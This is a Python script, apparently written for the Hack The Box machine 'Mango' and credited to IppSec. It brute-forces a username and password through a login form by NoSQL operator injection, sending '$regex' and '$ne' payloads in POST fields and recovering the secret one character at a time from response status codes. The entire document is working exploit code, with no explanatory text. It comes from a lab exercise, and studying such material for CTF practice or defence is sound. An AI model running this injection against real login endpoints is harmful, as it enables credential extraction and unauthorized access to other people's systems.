ippsec_mango_bruteforce.py

#ippsec's Mango HTB mongo DB brute force script
import requests

def inject(data):
    r = requests.post('http://staging-order.mango.htb/', data=data, allow_redirects=False)
    if r.status_code != 200:
        return True
#can add prefixes to secret to pretext where the brute-force begins
secret = ""
payload = ""
while True:
    data = { "username[$regex]":"^" + payload + "$", "password[$ne]":"SomeGuess", "otherPOSTField":"someValue"}
    if inject(data):
        break
    for i in range(32,127):
        #regex special characters
        if chr(i) in ['.', '?', '*', '^', '+', '|']:
            payload = secret + "\\" + chr(i)
        else:
            payload = secret + chr(i)
        print("\r" + payload, flush=False, end='')
        #change this username manually after the above UN brute-force returns user
        data = {"username": "admin", "password[$regex]":"^"+payload, "otherPOSTField":"someValue"}
        if inject(data):
            print("\r" + payload, flush=True, end='')
            secret = secret + chr(i)
            break
print()